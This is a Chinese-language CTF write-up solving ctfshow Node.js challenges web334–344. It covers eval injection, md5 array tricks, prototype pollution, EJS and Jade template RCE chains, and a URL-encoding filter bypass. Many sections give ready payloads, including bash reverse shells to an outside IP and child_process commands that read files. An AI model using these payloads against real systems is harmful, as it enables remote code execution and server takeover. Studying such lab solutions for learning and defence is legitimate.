NODEJS复习(ctfshow334-344)

NODEJS复习

web334

下载源码代码审计

发现账号密码

代码逻辑

var findUser = function(name, password){

return users.find(function(item){

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

});

};

名字不等于ctfshow和toUpperCase()转化为大写相等

Web335

页面发现eval参数的get传参

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为"eval(string)";如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

构造payload:

?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()

?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

Web336

构造payload:

?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()

?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

Web337

a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

要求md5(a+flag)===md5(b+flag)hash值相等,a和b的长度也相等

payload:?a[a]=2&b[b]=2

Web338

可以看到,如果secert.ctfshow==='36dboy'那我就能得到flag。secert类为空,直接继承了Object类,user也是。所以secert类中没有ctfshow,我们可以通过user污染Object类,在Object类里面加一个ctfshow。判断secert.ctfshow==='36dboy'时,找不到ctfshow,会从Object里面找。

router.post('/', require('body-parser').json(),function(req, res, next) {

res.type('html');

var flag='flag_here';

var secert = {};

var sess = req.session;

let user = {};

utils.copy(user,req.body);

if(secert.ctfshow==='36dboy'){

res.end(flag);

}else{

return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});

}

});

Payload:

{"username":"aa","password":"aa",

"proto":{"ctfshow":"36dboy"}}

Web339 变量覆盖query

原型链生成

var o = {a: 1};

// o对象直接继承了Object.prototype

// 原型链:

// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];

// 数组都继承于 Array.prototype

// 原型链:

// a ---> Array.prototype ---> Object.prototype ---> null

function f(){

return 2;

}

// 函数都继承于 Function.prototype

// 原型链:

// f ---> Function.prototype ---> Object.prototype ---> null

代码审计

router.post('/', require('body-parser').json(),function(req, res, next) {

res.type('html');

var flag='flag_here';

var secert = {};

var sess = req.session;

let user = {};

utils.copy(user,req.body);

if(secert.ctfshow===flag){

res.end(flag);

}else{

return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});

}

secert.ctfshow===flag,flag='flag_here'

Function(query)(query)可以执行query对应的指令,我们可以使用变量覆盖,将query的值作为反弹shell的点

router.post('/', require('body-parser').json(),function(req, res, next) {

res.type('html');

res.render('api', { query: Function(query)(query)});

});

解题过程:先抓包访问/login,实现query值的覆盖,再访问/api来执行query的值。

Payload

{"proto":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.122.60.89/4444 0>&1\"')"}}

flag在./routes/login.js里:

Web340

污染两级__proto__

router.post('/', require('body-parser').json(),function(req, res, next) {

res.type('html');

var flag='flag_here';

var user = new function(){

this.userinfo = new function(){

this.isVIP = false;

this.isAdmin = false;

this.isAuthor = false;

};

}

utils.copy(user.userinfo,req.body);

if(user.userinfo.isAdmin){

res.end(flag);

}

需要满足 user.userinfo.isAdmin为真。

依然可以利用 utils.copy(user.userinfo,req.body),这里并不能直接传入

{"proto":{"isAdmin":true}} 因为查找顺序的原因,找到userinfo这一级直接就找到了isAdmin 为false。

userinfo 的原型不是 Object 对象, userinfo.proto.proto 才是 Object 对象

这里可以向上污染两级,利用api.js 里的query参数rce

污染一级的话,user是查找不到我们构造的query的 user.query不可控

Payload:

{"username":"a","password":"a","proto":{"proto":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.122.60.89/4455 0>&1\"'); //"}}}

反弹shell

Web341

用的是web339的ejs rce,不过要和web340一样嵌套一下。payload:

{"proto":{"proto":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.122.60.89/4444 0>&1\"');var _llama2"}}}

web342

这次模板引擎改为了jade。

我们使用jade rce链构造payload:

{"proto":{"proto":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.122.60.89/4444 0>&1\"')"}}}

在用burp发送之前要把请求头中的"Content-Type"改为"application/json"。

反弹shell

Web343

这次模板引擎改为了jade。

我们使用jade rce链构造payload:

{"proto":{"proto":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.122.60.89/4444 0>&1\"')"}}}

在用burp发送之前要把请求头中的"Content-Type"改为"application/json"。

Web344

代码审计

router.get('/', function(req, res, next) {

res.type('html');

var flag = 'flag_here';

if(req.url.match(/8c|2c|\,/ig)){

res.end('where is flag :)');

}

var query = JSON.parse(req.query.query);

if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){

res.end(flag);

}else{

res.end('where is flag. :)');

}

});

if(req.url.match(/8c|2c|\,/ig))过滤逗号绕过+url编码绕过

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

相关推荐
仙女很美哦1 小时前
flutter性能优化总结
websocket·网络协议·tcp/ip·http·网络安全·https·udp
风澜舞2 小时前
windows防火墙高级设置
网络安全
色的归属感3 小时前
android adb 查看设备传感器
websocket·网络协议·tcp/ip·http·网络安全·https·udp
鹅肝手握高V五色4 小时前
安卓应用开发学习:查看手机传感器信息
websocket·网络协议·tcp/ip·http·网络安全·https·udp
Bug.ink4 小时前
RCE——回调后门
网络安全·rce
iOS技术狂热者14 小时前
多图超详细安装flutter&Android Studio开发环境,并配置插件
websocket·网络协议·tcp/ip·http·网络安全·https·udp
盛满暮色 风止何安17 小时前
VLAN的高级特性
运维·服务器·开发语言·网络·网络协议·网络安全·php
故事与他64518 小时前
电子文档安全管理系统V6.0接口backup存在任意文件下载漏洞
java·开发语言·前端·javascript·安全·网络安全